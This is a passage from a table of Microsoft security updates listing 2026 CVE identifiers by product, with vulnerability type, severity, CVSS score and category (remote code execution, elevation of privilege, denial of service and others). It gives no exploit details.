No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege 